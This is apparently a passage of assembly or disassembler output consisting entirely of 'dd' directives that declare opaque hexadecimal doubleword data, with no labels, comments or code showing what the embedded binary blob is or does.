dd 4B9DCAE3h, 0BBDDAEB7h, 0DDEAF378h, 0DFAFB7CBh, 0A8B77BFh
dd 86C32C1Eh, 6D1CC361h, 0F85C5E10h, 331AE3B0h, 0CA38EE92h
dd 0AD51C016h, 0DE6B3398h, 0E7B3B9CCh, 0CC674CCFh, 3279EB70h
dd 7B02128Ch, 0BA0AF8D2h, 0B0D7EBB5h, 1D6ECB63h, 0D486F4D9h
dd 0DEEB73B3h, 5637BBCDh, 3381C0D1h, 36E3D1F5h, 93C8DF00h
dd 15DE5F2Bh, 91B1D9EDh, 0EE18D2BDh, 0E75CEBDCh, 310ACA35h
dd 6474749Eh, 0FEC3E0E6h, 0FD0CF78Bh, 249AE8F5h, 0CF5F8F70h
dd 0B3D47DBEh, 8F2B948h, 5888963Bh, 64796019h, 0BB35EA3Fh
dd 0F4339FCFh, 2365DDD7h, 81DEE7A8h, 5AC7B208h, 0C68C340Dh
dd 0D5E581Fh, 470F2121h, 7E83E589h, 0C3E7C217h, 374D5D77h
dd 1E054D60h, 0BE1E94A7h, 394F83BCh, 609194B7h, 0F8B4FF52h
dd 30F43E0Fh, 24560973h, 5323556Ah
dd 8F889472h, 0F4F48F30h, 0BCEF2E45h, 3E17CB93h, 91242902h
dd 0C01C935h, 22B4E93Dh, 5A2D5544h, 0F4552375h, 589E77F1h
dd 9F310C3Ch, 30C9414Dh, 0E19311C3h, 30759F37h, 50197834h
dd 43579D4Ah, 0E23D4A88h, 0A8EF8BA2h, 6F4D62B8h, 55A339BEh
dd 0A7956651h, 53E07252h, 83524A7h, 0E59BCE51h, 0A128293Ch
dd 0E6F9F64Fh, 83FE5032h, 3966A3A7h, 107ED608h, 140370CEh
dd 0C7C1C069h, 0DA747EA6h, 14241045h, 347CDFB6h, 99E1C0C0h
dd 66C9A93Dh, 0D3FCDC52h, 65FE910Ah, 2E4FF2F8h, 6909D273h
dd 0F2AC570Dh, 0ED57370Fh, 49ADEBD9h, 15CB0AC9h, 0FF29442h
dd 0F2743533h, 5C572F8Fh, 0C9276B21h, 0B3ECDB2Eh, 8ABAC835h
dd 0F2E45710h, 0F9529DCFh, 56B02DDAh, 85E1E0D1h, 87013942h
dd 6210871Fh, 0B2EC1CC8h, 6E1B0711h, 1485D1B8h, 0E0251850h
dd 581AAA53h, 0B4FF3D13h, 0EF3FE3E1h, 3187AAD8h, 47F32CF8h
dd 8C04F8A0h, 0FCEF8994h, 0C730A723h, 0C445F4D6h, 4E52AC35h
dd 615CB9C2h, 0D0E5226Bh, 7F0D6B43h, 318F832Ch, 0ABE52F07h
dd 0DC6E2F10h, 0E46AC7F1h, 0B691CF42h, 0C853D8BAh, 0D35C9723h
dd 12AE27C0h, 35B7B3h, 74C68EF3h, 3FF3D3E2h, 0FF92472h
dd 5D174330h, 0D7471C83h, 0B893EFC0h, 0C594CB2Eh, 27BD0318h
dd 0D4F724CDh, 0D71EC722h, 3E745549h, 0A138878h, 48A1D054h
dd 0B1DC79BAh, 584A1586h, 6E160581h, 18C5B16Fh, 240E451h
dd 46861E6Bh, 35BEFEA0h, 2DCF8B68h, 0FFD6B36h, 53E22DBFh
dd 0FF2DF4h, 0FF24935Ah, 0E24AD2C0h, 2448B751h, 0F0D4ADE3h
dd 0D8BE9BF8h, 8AD4A7EAh, 8B34AE16h, 0FFAE6B7h, 0DE1435A3h
dd 345FE662h, 1A3A62ECh, 0E6F4BD7Bh, 79DD2A2Fh, 0FE949F8Bh
dd 234C53E6h, 503FCE9Bh, 0D4E5CA3h, 0CFFEF7BBh, 84D74FEFh
dd 5D4B3A72h, 0B6E662EEh, 0E1BB0927h, 0BAEE9F9Ah, 0B19C3256h
dd 0A8872007h, 2B12048Dh, 5C17058h, 42BF8416h, 61244A0Ah
dd 0DC2F0B04h, 654FE5E0h, 0BE53582Dh, 85752222h, 2ABE7031h
dd 0CED9C678h, 0FF1E835Ah, 0FD13D318h, 3FC44872h, 4B835164h
dd 0B25A08B8h, 6A2247F8h, 0B605B0D0h, 62B67061h, 84541096h
dd 420A05B8h, 93A94A7Fh, 3B647A8Bh, 1608AA09h, 0E35672D2h
dd 0A94856Ch, 1F82E0D6h, 842C16D3h, 35644170h, 685729EFh
dd 84FCB415h, 50D19494h, 0D613426Bh, 38F09A15h, 81A529A1h
dd 207835FEh, 358483Dh, 8230A213h, 0CF1152C4h, 0B01632A2h
dd 810A864Ch, 0C41DC4A0h, 9C188480h, 0D87C0B80h, 0B1222443h
dd 81483487h, 0C0901105h, 82B05205h, 5408818h, 961F6032h
dd 0F8B7B4D2h, 2E112525h, 943D116Bh, 0FD893926h, 68357903h
dd 0D7F61E95h, 0E1541ABFh, 5FEAD544h, 3BD62ED3h, 7E82AC41h
dd 0BF916A90h, 423BB27Ah, 945CC99h, 14CD85F3h, 21419489h
dd 7BBF6269h, 0E91A4D61h, 0AEEE4CA2h, 97041909h, 2AD0CA52h
dd 86E0D602h, 0B0253B41h, 393B3652h, 87858532h, 389E53CCh
dd 524CA2D9h, 0FB5F7052h, 7076594Eh, 62214C83h, 80E0580Eh
dd 8900DC11h, 12425C4Fh, 224494C8h, 3307B11Ah, 0D0220E8h
dd 4E084090h, 0D4168130h, 4AF74C60h, 0E3D265D5h, 2108A546h
dd 612B211h, 83595311h, 5B4FE84Fh, 3E20038Ah, 7586D1F0h
dd 0FB7FCD32h, 6CCC9D53h, 0C09AB507h, 0FE8F70AEh, 0EA8B4A6Ch
dd 0FA1ACAA9h, 4CF757D0h, 0E9433F59h, 0EEC3694h, 9DE48C16h
dd 3C0786F1h, 0A18A0685h, 3D05F34Bh, 7789218Ch, 7A293264h
dd 212CA790h, 3A7FD015h, 19519C74h, 0E060710Dh, 1382595h
dd 8240735Dh, 8900C00Bh, 13026052h, 1F43C082h, 390760F0h
dd 7D0FA1D4h, 1E144378h, 46310020h, 0D8230260h, 0A6F20F12h
dd 6DF1104Dh, 0A87A7250h, 0C984E547h, 9D615C9Ah, 0D418487Ah
dd 0A68C0574h, 3AAAB555h, 1A3301ABh, 25898977h, 0E30D5C12h
dd 0E2993E67h, 0D1DA4B2Dh, 0AB0AC096h, 0B4077652h, 27B28A1Ah
dd 2958686Dh, 0D9555290h, 46689559h, 0CA525A43h, 6CA4C180h
dd 0DD5D1615h, 0AD44D68h, 454EC2BAh, 1E03C34h, 393F410h
dd 0D622038h, 1B813849h, 47897136h, 6D0F41FCh, 9A12D668h
dd 942F8555h, 70680DA1h, 0C00C03C2h, 20240100h, 0FD82A03h
dd 46D7DEAAh, 185080A5h, 9DFE12FEh, 2C474F0Bh, 27A2DDC4h
dd 0E5586ADAh, 387F26Ah, 2545D016h, 841C93F3h, 26AFACA0h
dd 0D8AB5B45h, 67490081h, 4F6B1D8h, 0D6D3F884h, 0AC44FD6Eh
dd 6B7209Ah, 3FEEB5CBh, 5E417B92h, 49BAB2A9h, 0B8A0C2B9h
dd 32731355h, 32D0844Bh, 1FEB4EFh, 0E8F525ADh, 5C52B20Bh
dd 5C4B8452h, 0BB6DF6C1h, 481D1DD8h, 0A7D62BBFh, 3E2B80ECh
dd 1A4228h, 482B0731h, 109D1236h, 0B0CA1D84h, 40A81443h
dd 82383005h, 61409610h, 821A026h, 1400010h, 0D80A018h
dd 0DD27E7ECh, 90AACEF9h, 0E13ABA92h, 22B61043h, 79168BDCh
dd 0A1A91742h, 1CD84227h, 3850AE91h, 4E0AC9A8h, 0B79220FFh
dd 0E6C1C95Ah, 65291412h, 803968D0h, 0B60C2AD6h, 7BAF8172h
dd 0D8F35CD3h, 45218FA2h, 0D40C1A57h, 0A8693AA0h, 49F2D729h
dd 531CC2C6h, 86A2DC6Eh, 475218E9h, 9D916FDEh, 38FEC4CCh
dd 0C0770DC1h, 234AFEC2h, 9436D301h, 0D91A0641h, 109C14C0h
dd 0A0FC11AAh, 82383B09h, 82D08A16h, 601405h, 0BD809807h
dd 6ED46342h, 17164C4Ah, 0F62F877Bh, 10392B68h, 0EE8C18CCh
dd 0DAF4A0C9h, 1732AA93h, 0D6CE9462h, 57C15ACBh, 104CF284h
dd 7C86E304h, 1AEA4C7Dh, 0B765ECB4h, 2F761240h, 8613BCC6h
dd 207FD47Ah, 0BAB23958h, 5AB47C6Ah, 0D4841AD2h, 0EF16E17h
dd 0D77AA98Fh, 4F521EBDh, 6E31714Ah, 9A29792Ch, 47A7077Eh
dd 0E35027B8h, 44B8D443h, 4D6CC70Ah, 0A0F29215h, 24B6A97h
dd 8980F60Bh, 0AE1A83Fh, 1D0B5942h, 1009F482h, 200600FCh
dd 261550B9h, 28020h, 0B01A0100h, 0C4D286C9h, 0AB7F1195h
dd 0D8686A29h, 0EFC56BA8h, 8D25237Eh, 1B81283Eh, 30015A52h
dd 55DBC274h, 8C0F41B0h, 0E8480202h, 0B21F43h, 207664C1h
dd 60F0F983h, 80303F07h, 81300986h, 5274901Bh, 0DF37A949h
dd 44B29EFEh, 0DFD441DBh, 51B7F728h, 31854060h, 1D05C16Ch
dd 0F0224458h, 0C82105F0h, 183007A0h, 31F9C341h, 0AA981040h
dd 90083B07h, 2F07658h, 0A00C01h, 0FC0D00Ah, 9114A2BAh
dd 6FE49A1Bh, 588EE065h, 0B3AAF29Ch, 81683567h, 40A7C5C1h
dd 40602D86h, 43F88C07h, 96109A1Bh, 4C0A09Ah, 3F07D87Bh
dd 0FC026166h, 1B3FE6ACh, 0C014038h, 9CB771C0h, 6A015C45h
dd 2967702h, 0FDFBBE98h, 0BC0F80EFh, 17FF07E0h, 0EB447CC9h
dd 1842E83Ch, 2C818090h, 6A0F423Ch, 60778268h, 0EC1182A0h
dd 40F71E81h, 128C08C5h, 20CD05A0h, 100301h, 4201E01h
dd 0E2E4841Fh, 5AC1F740h, 0B09D3204h, 56402831h, 9FECBD8Fh
dd 0D4220302h, 40580BC0h, 0D20142h, 0A1002BF9h, 8119422Ch
dd 89062E19h, 9B2A9BCDh, 0C0783Ch, 4807000h, 0A22C8108h
dd 500F8B19h, 0CCA46F60h, 0CFD8FAE4h, 0FEB7F6BEh, 0A7EEFDCFh
dd 2AF739A4h, 90AC18CCh, 0A1980682h, 0D8D05F0Eh, 26285D0h
dd 1F032027h, 0E77E307Bh, 7043B55h, 0AF96004h, 0D057C150h
dd 0BCA93D2h, 101A0724h, 1A01E80h, 1E01A02Dh, 98088070h
dd 80B80A80h, 0E80D80Ch, 181080F8h, 81381281h, 16815814h
dd 98188178h, 80180B81h, 1F81D81Ch, 0E02E0530h, 301802h
dd 577E806Fh, 0A16120E0h
dd 3902602h, 6F0ED0BDh, 0D79C0280h, 3C1651Fh, 10017F6h
dd 30410040h, 1B01A80h, 1F80381Dh, 410201E0h, 0EE0ED0Eh
dd 0EE0F60E2h, 90ED8420h, 84B84A84h, 4E84D84Ch, 185084F8h
dd 85385285h, 56855854h, 98588578h, 85B85A85h, 0E20DC856h
dd 90490730h, 6700002h, 247E9068h, 51F30335h, 0B302579h
dd 280390F6h, 0B15F3ED0h, 0A73803h, 49746002h, 90EE85E0h
dd 87987A87h, 0E00E20EDh, 30D31020h, 0E30E30Dh, 810D60D6h
dd 88FE0D78h, 0B88A8898h, 88D88C88h, 9088F88Eh, 38928918h
dd 89589489h, 98897896h, 0C89A8998h, 89D0D888h, 0D60D889Eh
dd 0D0E80DB0h, 46406B0Dh, 5F054000h, 0D2F60550h, 2802A1Fh
dd 390EE86Bh, 0C72179C0h, 0A03203h, 1002001h, 30E70620h
dd 88889D0Dh, 0CE0D489Fh, 18800B60h, 0E30D688h, 0DB0D3881h
dd 0B8CA8C90h, 8CD8CC8Ch, 0D08CF8CEh, 38D28D18h, 8D58D48Dh
dd 0D88D78D6h, 0B8DA8D98h, 0D48CD8Dh, 0C90D48DEh, 30E10E18h
dd 0CF0D60Dh, 1502B084h, 701F0070h, 14605A05h, 0AD1D9717h
dd 90ED86B8h, 14971403h, 39589034h, 0D00467F0h, 0CE07700h
dd 0DE8DF0DBh, 70D28E28h, 8C20D20Dh, 0E1902000h, 90CE0DB0h
dd 90D8E290h, 1090F90Eh, 39129119h, 91591491h, 18917916h
dd 0B91A9199h, 91D91C91h, 0CD91991Eh, 0E0E80CE0h, 0D01509h
dd 4F004004h, 40350430h, 1625FF04h, 2402803Fh, 9206FEF0h
dd 21F80200h, 46915E03h, 8019216h, 80030030h, 0D309E01h
dd 0B90A0DEh, 58CA8E29h, 0C310290h, 0E80D20D2h, 194C0CE0h
dd 94F9490Eh, 52951950h, 59549539h, 95795695h, 5A959958h
dd 0D95C95B9h, 95F95E95h, 0D395B960h, 0B0B48E20h, 0D01202h
dd 3D01F002h, 0C04403E0h, 4052415h, 53025032h, 38B10660h
dd 14724F03h, 1302825Bh, 0C93C0040h, 8C80B406h, 0E10DB902h
dd 69440E80h, 0D200094h, 0AC0CE983h, 0D09A0AA0h, 98F98E98h
dd 92991990h, 59949939h, 99799699h, 9A999998h, 0D99C99B9h
dd 99F99E99h, 8D09E99Bh, 4809E9h, 68100C00h, 241F302Ah
dd 403021B5h, 0EF08B02h, 3E0AD0EDh, 77D20367h, 901F71h
dd 6B7CB00Dh, 409409E0h, 0A698E09h, 0B0C30ACh, 19860DB9h
dd 0D20CE0Eh, 0F90F098Ah, 0D9CC6B90h, 9CF9CE9Ch, 0D29D19D0h
dd 59D49D39h, 9D79D69Dh, 0D69D99D8h, 0AA0F09FEh, 60009A70h
dd 3D01900h, 3D03092Ah, 9AD04C0h, 0F50FB09h, 300390B2h
dd 920103F0h, 5A38B458h, 0E402B7F7h, 80FC0FF0h, 22D9CB0Fh
dd 450E80E8h, 89C69069h, 0AA0D20Eh, 49DA9F9h, 7A06A05Ah
dd 0A09A08A0h, 0F99D8A0Ah, 60D40FC9h, 187505h, 46268749h
dd 0A0670281h, 920BA0Bh, 171A6028h, 0F0200362h, 387501h
dd 0F609E001h, 0F0F70FB0h, 0C30F926h, 0C58C994Eh, 60CE94C9h
dd 0A31A0B0Ah, 34A33A32h, 8A34A35Ah, 0FC0FC0Fh, 0B79680A6h
dd 0B01B00E8h, 4D16258h, 45028032h, 602A0450h, 3C14003h
dd 0E02503Dh, 310200A0h, 0E905600h, 0FB0FFA25h, 90F90FF0h
dd 0B60E10Fh, 69C490Dh, 0A0E19439h, 0A36A560Ah, 64A63A62h
dd 0BA35A65Ah, 0FC4EB9Ch, 0CC0840F0h, 0F0000077h, 3602400h
dd 3311C74Bh, 111B11C0h, 450471Dh, 0B8006014h, 0D0160008h
dd 0A3927E0Bh, 0FE22DA55h, 5B0B40E1h, 0B943986Ah, 0A66A600Dh
dd 8EA8DA8Ch, 89CFA8FAh, 22DA38A3h, 0B80580D6h, 36EF0018h
dd 21703901h, 431679F0h, 0E03F03D0h, 71A00A01h, 0A6012A22h
dd 0C0F99F70h, 9CB3AA0Fh, 9984A85h, 99889869h, 0A90A8B8Ch
dd 0B6AB5AB4h, 9A03A62Ah, 610CE0Fh, 0EF7CC002h, 0F0140106h
dd 46802401h, 3904511Ch, 30100190h, 0CA7DAAh, 280F009Ah
dd 5AAD26FAh, 0AB190698h, 0D6AB7A8Ah, 6AD8AD7Ah, 0F99F9A0h
dd 3C0710BDh, 0B875A6E9h, 900A00h, 0FAE500Eh, 40080080h
dd 83610200h, 0CE0A6015h, 322DA57Ah, 0AD10FFA0h, 9AD3AAFh
dd 9AD9AD59h, 0AFBAFAAFh, 0A99CB9CDh, 609A0E3Ah, 7CC83601h
dd 2ABD7A1h, 0EA6E0021h, 71001ABh, 0CE22D0B4h, 4AF222EAh
dd 102A5CAFh, 0FCAB3AD4h, 9B18B17Ah, 0FD9CBADh, 790BC0EBh
dd 40050050h, 8366ED00h, 2493C7F7h, 709E049Bh, 0AB97980Dh
dd 0B1FE241Ah, 16AF7AB0h, 3B32B19Bh, 0EFA8FB3h, 0BC0FAAA8h
dd 10490940h, 836A6E02h, 2B00DABDh, 0F0AA06B0h, 0F7A550Ch
dd 0F1AFE0FDh, 6B2E275Ah, 0B34AB2AFh, 32B4FB4Eh, 0BB49AF2Ah
dd 0FB22D4Eh, 9A0B40F0h, 83E25900h, 0A608405h, 45A250C3h
dd 0BB5241ABh, 0B30B14B4h, 68B67B50h, 60FDA31Bh, 0A382FCA5h
dd 0FD0FD0FCh, 0FAF00FC0h, 0F44EB70h, 49A2773Ch, 7B649CCBh
dd 0B69B6698h, 0D9B7FB7Eh, 5B460FC9h, 0B700F9A5h, 8139B73Ch
dd 90F70FDAh, 0ACF73CA3h, 15B7B6B9h, 3B92B80Bh, 0B90AB5B9h
dd 94B3190Ch, 4B9AB99Bh, 982B96A3h, 9BB52A8Bh, 0ABA2BA1Bh
dd 0A5FB9D9Dh, 0A8BA7BA3h, 8B9D9D9Bh, 0BADBA9AFh, 969CEBAEh
dd 0FBAC0D2Bh, 0BB5BB4BAh, 0B5B98BABh, 5BA7BB9Bh, 0BBABB8BAh
dd 0B1B9ABBEh, 3BBFBB3Bh, 0BB7B99BCh, 0C5BC7BC4h, 3AAE0B4Bh
dd 0B4DB7CB1h, 7FBCFBC8h, 29D3BBCBh, 0FF10h, 0BD42FE2Eh
dd 0D6BD5105h, 9BD7BD4Bh, 0BDDBD9BDh, 622DBD6h, 7BE0BDA1h
dd 41ABDDBDh, 0E0BE7103h, 2104BD8Bh, 0BD0BDFBEh, 0D2BD2A8Fh
dd 4BEEBEC9h, 0BDCBE7BEh, 0DCBF826Fh, 5BF8BFABh, 0BF4BFEBFh
dd 0EEBFDBF6h, 0EBF6BE1Bh, 0C04BFFBFh, 8DBF0C02h, 0BBF3BC6Ah
dd 0BFDBF4BDh, 8BF9C00h, 5BFABE1Ch, 0BFC275BDh, 0EBECC05h
dd 6C16BE8Ch, 0C01C05C0h, 0B4C0AC13h, 0A9D1C0CAh, 0BEDBE4C1h
dd 0EAC04C27h, 0BF5C20Bh, 0C18C21C1h, 0C02BE9h, 4BFBC2ECh
dd 0C22C21C1h, 0D2BCABF1h, 0DBB2B65Ah, 0C0F6B9BBh, 0E8C29C11h
dd 0DBE9C13Bh, 0C30C2AC2h, 2AC0EC2Fh, 4C1FC42Ch, 0C38C2EC3h
dd 2FBCBC39h, 0BBD3B9EBh, 0C47C31C1h, 49C17C1Bh, 7C58BEBCh
dd 0C45C5BBFh, 4FC1EC5Ch, 0BC50C4FCh, 0AF5C3AC0h, 0DC54B65h
dd 0BC63C2CCh, 0C36C19C4h, 35C2BC6Fh, 0BC4DC2CCh, 0C74C2BC5h
dd 64C65C1Fh, 9C25BF2Ah, 0C1AC41C5h, 0C06C18FEh, 82C71C28h
dd 9C64C81Ch, 0C57C57C2h, 7AC09BEAh, 0DC24A36Ch, 0AB7C90C8h
dd 94C91C8Fh, 0DC3BC51Ch, 0C95BC2BCh, 93A65C9Ah, 0EC9EC9BCh
dd 0BCCC67C8h, 9FC3D988h, 0DA62CA5Ch, 0CA9CA6C9h, 0AACA8A08h
dd 1BA4CADCh, 0C99C53CAh, 0D7CB3CAEh, 7CB4CAC9h, 0CB69D1CBh
dd 7ACBBCB8h, 2B4CCB0Bh, 0CC1CBCCBh, 69CBEB2Dh, 7C3FCC0Ch
dd 0C6EAD8C1h, 0E2CCA9D0h, 7A04CCBBh, 0CD1BD3C4h, 0CCA0ABE6h
dd 5A06C1DCh, 0C52CBDCDh, 0C7C3ECBFh, 9CC9CCDCh, 0A07CD8A0h
dd 0D2BF3CD0h, 0DCE0CDECh, 9D4CE19Ch, 0C4B4ACE9h, 7CDCC98Ch
dd 0CE6C44CCh, 3CD6C14h, 8BDABE5Ch, 0BE6CF8C2h, 5DC15CF8h
dd 0CC12CF7Ch, 0C83C70BFh, 0F7CF5C83h, 1C36C4ACh, 0D08C1DCFh
dd 0F3CFFD05h, 3D04CE6Ch, 0CFBCDED0h, 16C08C35h, 0BD13D02Ch
dd 0CEDA84CEh, 149D5B91h, 2D1DCCDDh, 0D21CFAC3h, 0DBCD6D09h
dd 9D1DCD3Bh, 0FE5C6ED0h, 0D1EC1CD2h, 2ED24D26h, 8CE3CDDDh
dd 0D2AD14CCh, 35D27D2Eh, 6C1CCD3Dh, 0D11D23D3h, 37C70D38h
dd 0A9D4D3CDh, 0D279CCCBh, 0F9D0DD34h, 3D2CCC8Bh, 0D2DD33D2h
dd 30BFBC03h, 9D15D2BDh, 0D0ED4BCFh, 58CF4D0Bh, 0CC5ABD8Ch
dd 0D47D45D0h, 31D29D3Ch, 0BD40D38Ch, 0D46D05D3h, 41CF9D33h
dd 0AB7DD1ADh, 0D2FD3DCEh, 15D48D29h, 2D22D5DDh, 0D50D6DD6h
dd 47D53C4Bh, 1D20D1FDh
dd 0D6FD2FD6h, 7BD60D77h, 0FCF4D6CDh, 0D64D81D3h, 71D74CF2h
dd 29D0D7EDh, 0D82CDDD4h, 53D6BD46h, 4D76CF3Dh, 0D60D7AD8h
dd 7CD5BD31h, 0DD6ED97Dh, 0D3FD44D8h, 1FD36D84h, 5D71D83Dh
dd 0D7BD85D7h, 8DD97D92h, 0ED68CB9Dh, 0CF6D6ABCh, 60CCAD55h
dd 6D0DC45Ch, 0C8BBEBD0h, 32D39C15h, 6CFCDAFCh, 0D4DC60D2h
dd 7D07C72h, 0EDB8DA3Dh, 0C5AD5CC4h, 0A5D54D58h, 1D6BD13Dh
dd 0D89C87D1h, 0DFCC6DA9h, 0BD31B19Ch, 4DFE18AFh, 0AB7D8AB3h
dd 10AB5DD3h, 1C8CAD9Dh, 0CEFDCDBDh, 0D5CC1CC2h, 1CB8DDFDh
dd 0CB4DE2DEh, 0AEDE5DE4h, 0ADE8DE7Ch, 0DEBDEACAh, 0A2DE4CA6h
dd 8CE8DD7Dh, 0DA29D6D8h, 0CFDD0DF4h, 5DA7DD39h, 0CCEDC3DFh
dd 0ABDDDB9Ch, 7CCFD81Dh, 0D0EE01DFh, 0E1AD6DF2h, 0DCE2DFACh
dd 0A35DF9DFh, 2CD65DE7h, 0ECD5D78Dh, 0CF6DC4DBh, 16DBBD8Fh
dd 1D75D5EDh, 0DC5E16DCh, 55DB9DB1h, 0DADCFFDh, 0DB2D1ED0h
dd 0BE22DBCh, 4E16D12Dh, 9D6E15D5h, 4ED4CE0Fh, 0A9CED49Dh
dd 0D37D8CD3h, 43DA1D9Eh, 0DDF1DC3Dh, 0D6CDB1DFh, 0C9DC6DA5h
dd 4D5BD22Dh, 0DAED7AE3h, 0D5CE4E36h, 0BD96DEA9h, 0D99E02D9h
dd 4BD85D50h, 0BE25E37Dh, 0E3EE21DBh, 6FE50E31h, 7E50D9FDh
dd 0D12D24E5h, 7EE43D2Ah, 0FE06D66Dh, 0CCBC12D5h, 0DADA8E54h
dd 2DDECC5Ch, 0DA4D4CD3h, 0F6D88E33h, 0EE72DA6Dh, 0E06E39D8h
dd 59E76E38h, 0EE4CE73Eh, 9E40FEE4h, 0D79E4BD4h, 3BE6ED62h
dd 0CE2CDF3Eh, 0CEEE69DCh, 0A3D80D1Ch, 8D7FD93Dh, 0D25E32E5h
dd 8BE73E52h, 9D94E35Eh, 0E41E4BE7h, 8FD9BD48h, 5E7CD82Dh
dd 0D64E38D9h, 0E49E9Eh, 9E6DE89Eh, 0E3CDB5E2h, 0EDD0AE1Bh
dd 4DB3E14Bh, 0EAFD0CD0h, 0A7DB0DBCh, 0CEB0EAAEh, 0C44C20DAh
dd 0A9E56E5Fh, 0FEB7C37Eh, 0EB5E6EDBh, 0C3DED9D3h, 1B4EE07Bh
dd 0EC4A35DDh, 1BC97CD9h, 4EC8C94Dh, 0A33DD9B3h, 0A3B8FECDh
dd 0CDE2DEEEh, 0CC2ED4C7h, 0D7BA0BF2h, 0BED6CB3Eh, 0EC2CBBEDh
dd 0C1C94EDEh, 0FEE1E6BBh, 0CE5E2FC9h, 36ED1A05h, 5D34CD8Ah
dd 0E0DEDDDEh, 0D8EEAA8Dh, 9B7BDEEDh, 0DADEE4A8h, 0B2C37D28h
dd 0DC4DDBEh, 0EFBD0FD9h, 87EA9EB4h, 3C80CFEDh, 0D98EBEC7h
dd 0F0BC6CADh, 8BFFDFEAh, 0E75E92E9h, 72E8ED28h, 1E9DD78Eh
dd 0D70E7EE7h, 0A5EFCD5Ch, 78CAEF5Ch, 0E41D56EFh, 10D9EE14h
dd 5D91E6DCh, 9E62D3FEh, 0E42E46DCh, 0DCF27F18h, 0E8E2D68Eh
dd 0E35EA1F1h, 8BE3AE44h, 0E32E60Eh, 0F34EA5E7h, 8CE79E3Dh
dd 4D68F09Eh, 0EF0F0BCAh, 4E9FF35h, 0FE74DC0Eh, 0F34E8AE8h
dd 70F2BE4Dh, 0EE85E5ADh, 0CA4F1CC9h, 63C7DA61h, 5EABCE3Eh
dd 0D57E27F4h, 85E1CF59h, 0BC43DAFEh, 0F59D4AE9h, 2EF1BE0Ch
dd 2A32BA6Fh, 0F4BE05EFh, 1AC7BEE5h, 0AAF89C4Dh, 0F1A9D9EDh
dd 6BF16A31h, 0FB96A8CFh, 0DE3F75F2h, 0E9F79ED3h, 28FECEDDh
dd 0F7DF7CF5h, 80BB2E87h, 5DECF81Fh, 0F41A60F6h, 0A9EE6F86h
dd 9F8BF66Dh, 0DCEF51CAh, 0E0C91F8Fh, 3BCFF93Eh, 0F96B79EEh
dd 0A6F77C9Ah, 4F9AF8ABh, 9C4F7EF9h, 8CF9FA01h, 0EAAFF83Fh
dd 0F97FA4F1h, 89944F7Eh, 2FA9F70Fh, 0DAAF1CC2h, 87FA0FAFh
dd 8909982Eh, 0BC3FB3FAh, 0AEB7DEF5h, 6FAAFB9Fh, 0FBEFB2FAh
dd 0C2F95C65h, 5FC4BAFFh, 0DF0BADFCh, 0AAF05DC1h, 0FEB6C59Eh
dd 0BC23FC8Eh, 0C7EDF9F7h, 4CE2DD5Eh, 6FD0C46Ch, 0FD8FCAABh
dd 0DCD7DD59h, 1FD9C1EFh, 0F92FC0FDh, 0FDC88E65h, 9C41FDCCh
dd 0A8EFE1C7h, 77FD7FDBh, 7FCEC33Ch, 0C66FEBC7h, 0F7949FA6h
dd 1FD5F06Eh, 0FF2FEEC6h, 88C9CFF3h, 9100A56Fh, 8240DFEFh
dd 20705h, 0C1E10FF0h, 32170684h, 6250B824h, 0D0F8843h
dd 5198C45Eh, 1D8E46E3h, 19047E3Dh, 9248E452h, 0A3863925h
dd 0B85C2E85h, 216CD26Dh, 9A4E1694h, 11205534h, 9389BC5Ah
dd 9854EA2h, 69BC3673h, 0A250E852h, 451E8D45h, 4AA5123Ah
dd 3A112E96h, 0E6B516DBh, 0AD49813Fh, 559AC55Eh, 17AE56EBh
dd 0F96CAE97h, 964C4012h, 0ED55F335h, 5AED569Ah, 7E916DB6h
dd 66362A6Dh, 0ED6EA9CBh, 0D79BC5DEh, 4FB0DC2Dh, 8A9B86A3h
dd 0C260EF56h, 0E47F0D85h, 0D82C74EBh, 3F1D87BAh, 0B1383C86h
dd 2380965Ch, 999CC65Fh, 0D2BF64EBh, 0D6FE35B6h, 0E8F45A1Ch
dd 4B179C90h, 0F55A9D25h, 0E7A682EAh, 5B1D665Ah, 2DD76636h
dd 9DC6CF3Fh, 966BB0BBh, 6FF75B7h, 36F796CEh, 1F8382D8h
dd 0B8746E47h, 9DCDE4EFh, 0FC5E1D0Bh, 1DEA74F9h, 9EAE07A3h
dd 0EBC13B5Dh, 0EF6BBDDBh, 0F3FC5DFEh, 1FCDE3F0h, 0FCFA0E5Fh
dd 0D9E9D9FAh, 1EEDC7BFh, 0F2D5FCFEh, 6D17DFE9h, 0CBFEFF1Fh
dd 3FFFF9FAh, 7003FCCh, 2404BD4h, 252BDC0Fh, 8B9B14B0h
dd 6C1F0439h, 270840CBh, 0A424AD4h, 42CA4C2Fh, 4A24370Ch
dd 243F0E43h, 471043C9h, 0B8C14C44h, 3D4DEA60h, 49045712h
dd 345F1644h, 671845C8h, 17C67194h, 4571B46Bh, 711C731Ch
dd 0F43F1E47h, 830DC7F1h, 2242F214h, 48F09C8Bh, 72541F24h
dd 749B03C9h, 0A3284072h, 2A4A6FFCh, 4AEF2BF7h, 92D4B316h
dd 9CBB2B44h, 54CF378Fh, 13487304h, 0C1CD3AFBh, 933C8132h
dd 5CC8CAC1h, 0E32FC293h, 4E6FFE3Ch, 0F3B3C73Ah, 0D4F2EFCEh
dd 0FB3E3B73h, 404FEECCh, 507413A9h, 0CA4DAF2h, 44934335h
dd 3D454514h, 8A31C9CAh, 52087222h, 68BA768Dh, 0D5268ED2h
dd 834D2374h, 34D1B30Ah, 5294CCE1h, 0D4FD3AC3h, 15308CD2h
dd 569B538Ah, 3429950Dh, 52B5241Bh, 55354153h, 0CA808621h
dd 815F5755h, 9ED2287Ah, 0D7961A2Ch, 0F60A2361h, 12828720h
dd 8F625836h, 685A362Dh, 0D95635A1h, 544C1758h, 0F20B4F4Dh
dd 0BF4C57A9h, 54DAD6F5h, 0D2954559h, 0B705956Eh, 0E5D75F53h
dd 0AD6E5D55h, 74DDF785h, 46AFA5DFh, 17355957h, 0D5D773DEh
dd 25605BB5h, 7454B5BAh, 27B7E5D9h, 1715F558h, 0DDE966A3h
dd 18885F75h, 795ECF86h, 6117ED7Bh, 37F62B7Ch, 0C56D84DFh
dd 198F6358h, 90E29726h, 0E2770573h, 0F5A5452Ah, 3E0B8DD5h
dd 337E64B7h, 78E637DEh, 0E4B8262Dh, 197E1172h, 95F178E4h
dd 0CD775AB9h, 0D717B3FEh, 55C62169h, 5919258h, 414E5F58h
dd 9C6917FDh, 0DFB995B9h, 0F835A567h, 5D9366E1h, 53946239h
dd 45E7EACCh, 0B89ADBDBh, 0FA9A4B5Ah, 3BBADD6Bh, 0DD026CCBh
dd 6D5B4Bh, 0EDCE33E5h, 0FB950AFBh, 0CEEBBA37h, 0E7BC4B8Dh
